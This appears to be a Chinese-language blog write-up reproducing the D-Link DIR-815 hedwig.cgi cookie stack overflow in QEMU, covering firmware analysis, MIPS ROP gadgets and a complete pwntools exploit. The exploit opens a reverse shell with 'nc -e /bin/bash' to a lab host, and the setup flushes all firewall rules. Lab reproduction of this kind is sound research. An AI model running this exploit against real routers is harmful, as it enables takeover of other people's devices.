复现 DIR-815 栈溢出漏洞

binwalk分离固件

获得文件系统如下

image-20250419161029798

为mips 32位系统

image-20250419161134721

静态分析

根据官方文档,可知漏洞在

image-20250419161250518

其目录在htdocs/web/,我们查看

发现其是cgibin的软链接,ida打开程序

image-20250419213949132

进入hedwigcgi_main函数

image-20250419214005009

获取传参方式

image-20250419214117487

这里必须是POST传参,调用cgibin_parse_request函数

image-20250419214314919

这里有几个参数

image-20250419214525605

这里sobj_new函数是初始化一个0x18大小的堆块,返回指针,调用sess_get_uid函数

image-20250419214645987

获取COOKIEv3

while ( 1 )
  {
    v7 = *v5;
    if ( !*v5 )
      break;
    if ( v6 == 1 )
      goto LABEL_11;
    if ( v6 < 2 )
    {
      if ( v7 == ' ' )
        goto LABEL_18;
      sobj_free(v2);
      sobj_free(v4);
LABEL_11:
      if ( v7 == ';' )
      {
        v6 = 0;
      }
      else
      {
        v6 = 2;
        if ( v7 != '=' )
        {
          sobj_add_char(v2, v7);
          v6 = 1;
        }
      }
      goto LABEL_18;
    }
    if ( v6 == 2 )
    {
      if ( v7 == ';' )
      {
        v6 = 3;
        goto LABEL_18;
      }
      sobj_add_char(v4, *v5++);
    }
    else
    {
      v6 = 0;
      if ( !sobj_strcmp(v2, "uid") )
        goto LABEL_21;
LABEL_18:
      ++v5;
    }
  }

遍历COOKIE,将其键存放在v2中,将其值存放在v4

if ( !sobj_strcmp(v2, "uid") )
        goto LABEL_21;
LABEL_21:
    v8 = (char *)sobj_get_string(v4);
    goto LABEL_22;
LABEL_22:
  result = sobj_add_string(a1, v8);

如果键为uid,那么将其拼接到a1并返回,如果没有,则返回ip

v8 = getenv("REMOTE_ADDR");
LABEL_22:
  result = sobj_add_string(a1, v8);
sess_get_uid((int)v4);
  v6 = (const char *)sobj_get_string(v4);
  sprintf(v27, "%s/%s/postxml", "/runtime/session", v6);

重点这里,将v6的值输入到v27的数组其仅有1024大小,这里就轻松构成了栈溢出漏洞

还有一个位置

  v20 = (const char *)sobj_get_string(v4);
  sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

这里也存在栈溢出,且两个位置之间的v4的值并没有变化

然后就是要满足程序条件,到达该位置达到溢出

v7 = fopen("/var/tmp/temp.xml", "w");
  if ( !v7 )
  {
    v1 = "unable to open temp file.";
    goto LABEL_34;
  }

要有该文件保证正常打开

 if ( !haystack )
  {
    v1 = "no xml data.";
    goto LABEL_34;
  }

这里有个haystack值,其是在bss段上,查看调用

cgibin_parse_request((int)sub_409A6C, 0, 0x20000u);
char *__fastcall sub_409A6C(int a1, int a2)
{
  char *result; // $v0

  if ( haystack )
    free(haystack);
  result = (char *)sobj_strdup(*(_DWORD *)(a2 + 4));
  haystack = result;
  return result;
}

image-20250420152908606

v9!=-1时调用该函数

image-20250420153244225

这里是当REQUEST_URI不为空时v9!=-1

满足了以上条件,就能顺利地走到第二个sprintf了,也就是真机环境中真正的栈溢出漏洞点

寻找IDAgadget最好还是用IDA的插件mipsrop,里面的stackfinder()/tail()/system()等选项很便于寻找一些gadget,也可以使用如mipsrop.find("li .*, 1")的形式,通过.*进行模糊匹配:

叶子函数指的是没有调用任何子函数的函数,其返回地址会存放在$ra寄存器中,在该函数结束时,直接就通过$ra寄存器跳转返回

非叶子函数自然就是指其中调用了其他子函数的函数,其返回地址$ra会在程序开始(prologue通过sw指令存放在栈上,因为其中调用了其他子函数,肯定会需要改变$ra寄存器的值,来作为其他子函数的返回地址,所以最先的数据需要保存下来,然后在该函数结束(epilogue)时,再对应地通过lw指令取出,并跳转返回。

同样的道理,如果在某个函数中使用到了 $s0 ~ $s7中的某些保存寄存器(包括$fp ,则也会在prologue处保存下来,并在epilogue处取出。

需要注意的是,$s0 ~ $s7, $fp, $sp在栈中存放的地址依次递增,因此,很容易想到,我们可以在栈溢出的同时,顺带着控制到$s0 ~ $s7的值

MIPS的这个特性是一个在栈溢出中很好利用的点,若是二进制文件中没有或没有完整的prologue/epilogue段,在libc可以找到完整的汇编段,来控制这所有的寄存器:

MIPS架构存在“流水线效应”,简单来说,就是本应该顺序执行的几条命令却同时执行了,其还存在缓存不一致性(cache incoherency)的问题。

首先举例说说 “流水线效应” ,最常见的就是跳转指令(如jalr)导致的分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转

“缓存不一致性” 指的是:指令缓存区(Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep一下。

qemu仿真

启动脚本

sudo qemu-system-mipsel \	#以管理员权限启动qemu仿真系统
-M malta \					#硬件平台为"Malta"开发板,这是QEMU支持的标准MIPS开发板之一
-kernel vmlinux-3.2.0-4-4kc-malta \			#加载Linux内核镜像文件,该内核版本为3.2.0,专为4Kc Malta开发板编译
-hda debian_squeeze_mipsel_standard.qcow2 \		#硬盘镜像文件为QCOW2格式的Debian Squeeze系统镜像
-append "root=/dev/sda1 console=tty0" \
#root=/dev/sda1 指定根文件系统位于第一个SATA硬盘的第一个分区
#console=tty0 将控制台输出定向到虚拟终端
-net nic \		#在虚拟机中创建虚拟网卡
-net tap \		#使用TAP网络模式
-nographic \	#禁用图形界面输出,将串行控制台重定向到当前终端

image-20250422220339483

接下来在宿主机创建一个网卡,使qemu内能和宿主机通信。

安装依赖库:

sudo apt-get install bridge-utils uml-utilities

在宿主机编写如下文件保存为net.sh并运行:

sudo sysctl -w net.ipv4.ip_forward=1 #的IP转发功能,允许系统作为路由器转发不同网络接口之间的数
#清空所有防火墙规则,确保从干净状态开始配置。
sudo iptables -F		
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
#将filter表的默认策略设为允许所有流量。
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
#网络通过ens33接口访问外网时,源IP被动态替换
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
# 允许转发tap0接口的流量
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
#配置tap0接口的IP地址
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

image-20250422220918841

然后配置qemu虚拟系统的路由,在qemu虚拟系统中运行:

#!/bin/sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

image-20250422221050869

随后使用scp命令将binwalk解压出来的squashfs-root文件夹上传到qemu系统中的/root路径下:

scp -r squashfs-root/ root@192.168.100.2:/root

image-20250422221354686

这里出错了,切换成root用户,在/etc/ssh/ssh_config文件中添加几行

Host *
	HostkeyAlgorithms +ssh-rsa
	PubkeyAcceptedKeyTypes +ssh-rsa

然后在qemu虚拟系统中将squashfs-root文件夹下的库文件替换掉原有的,此操作会改变文件系统,如果不小心退出了虚拟系统,再次启动qemu时会失败,原因是因为改变了文件系统的内容。此时需要使用新的文件系统,因此在此操作之前可以先备份一份。编写auto.sh并执行:

cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi

接下来在qemu虚拟系统的根目录( / )下,创建一个名为conf的文件,此文件是httpd服务的配置文件。内容如下:

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}
Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0         #网卡
    Address 192.168.100.2  #qemu的ip地址
    Port "4321"            #对应web访问端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

最后启动httpd服务:

./httpd -f conf

image-20250422222701525

这里访问失败是因为hedwig.cgi服务没有收到请求,需要提前配置qemu虚拟环境中的REQUEST_METHOD等方法,因为httpd是读取的环境变量,这里就直接通过环境变量进行设置:

export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

在qemu虚拟系统中运行/htdocs/web/hedwig.cgi

image-20250422231747517

测试溢出长度

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi

使用gdb-multiarch远程调试,断在hedwig_cgi函数的返回地址,可以观察到s0-s7寄存器被我们的输入控制,如下:

image-20250423180743933

返回地址$ra也改为了0x42424242,得知填充长度为1009即可控制返回地址:

先将 system 函数的地址-1传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system地址恢复,因此我们查找addiu $s0,1指令

因为我们能控制$s0-$s6的所有寄存器,那么直接利用$s0存放地址system-1,然后寻找addiu $s,1这个gadget

Python>mipsrop.find("addiu $s0,1")
|  Address     |  Action                                              |  Control Jump                       
|  0x000158C8  |  addiu $s0,1                                         |  jalr  $s5                           
|  0x000158D0  |  addiu $s0,1                                         |  jalr  $s5                           
|  0x0002374C  |  addiu $s0,1                                         |  jalr  $fp                           
|  0x0002D194  |  addiu $s0,1                                         |  jalr  $s5                           
|  0x00032A98  |  addiu $s0,1                                         |  jalr  $s1                           
|  0x00032C48  |  addiu $s0,1                                         |  jalr  $fp                           
|  0x00032E0C  |  addiu $s0,1                                         |  jalr  $s2                           

选用gadgets:0x158c8,该gadget执行以后,效果$s0=system,之后就是将赋值参数,将/bin/sh给到$a0,利用mipsrop.stackfinder

Python>mipsrop.stackfinder()
|  Address     |  Action                                              |  Control Jump                       
-----------------------------------------------------------------------------------------------------------
|  0x0000B814  |  addiu $a1,$sp,0x15C+var_144                         |  jalr  $s1                           
|  0x0000B830  |  addiu $a1,$sp,0x15C+var_A4                          |  jalr  $s1                           
|  0x0000DEF0  |  addiu $s2,$sp,0xA0+var_90                           |  jalr  $s4                           
|  0x00013F74  |  addiu $s1,$sp,0x28+var_10                           |  jalr  $s4                           
|  0x00014F28  |  addiu $s1,$sp,0x28+var_10                           |  jalr  $s4                           
|  0x000159CC  |  addiu $s5,$sp,0x14C+var_13C                         |  jalr  $s0                           
|  0x00015B6C  |  addiu $s2,$sp,0x280+var_268                         |  jalr  $s0                           
|  0x00016824  |  addiu $s5,$sp,0x15C+var_14C                         |  jalr  $s0                           
|  0x000169C4  |  addiu $s2,$sp,0x170+var_158                         |  jalr  $s0                           
|  0x000182C8  |  addiu $s3,$sp,0x20+var_8                            |  jalr  $s4                           
|  0x00019CBC  |  addiu $s1,$sp,0x24+var_C                            |  jalr  $s4                           

选用gadget:0x000159CC,该句汇编的内容如下

.text:000159CC                 addiu   $s5, $sp, 0x14C+var_13C ;将栈指针 $sp 加上偏移量 0x14C ,结果存入 $s5。
.text:000159D0                 move    $a1, $s3
.text:000159D4                 move    $a2, $s1
.text:000159D8                 move    $t9, $s0			;将 $s0 的值复制到临时寄存器 $t9。
.text:000159DC                 jalr    $t9 ; mempcpy	;跳转到 $t9(即 $s0)指向的函数 mempcpy
.text:000159E0                 move    $a0, $s5			;将 $s5 的值复制到参数寄存器 $a0。
;由于流水线效应,此指令在 jalr 跳转前执行。

因此将/bin/sh写到0x14偏移处,该gadget/bin/sh给到$s5,然后给到$a0,由于此时$s0=system,因此执行system,整个过程结束。

编写exp

from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = b'nc -e /bin/bash 192.168.100.254 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += b'A' * 4                        # s1
padding += b'A' * 4                        # s2
padding += b'A' * 4                        # s3
padding += b'A' * 4                        # s4
padding += p32(base_addr+gadget2)         # s5
padding += b'A' * 4                        # s6
padding += b'A' * 4                        # s7
padding += b'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += b'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()

运行exp生成context,将congtext上传,然后运行hedwig.cgi服务:

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
#echo "uid=4321"|/htdocs/web/hedwig.cgi

gadget1执行

image-20250423212633969

gadget2执行

image-20250423212857130

可以看到a0s0均被赋值

image-20250423212844626

执行到了system

image-20250423213013020

这里同时也拿到了shell

仿真一般是一次性的,一般在仿真前拍摄好快照

sudo ip link del tap0 2>/dev/null 
sudo ifconfig br0 down
sudo brctl delbr br0
posted @ 2025-04-23 21:41  dr4w  阅读(76)  评论(0)    收藏  举报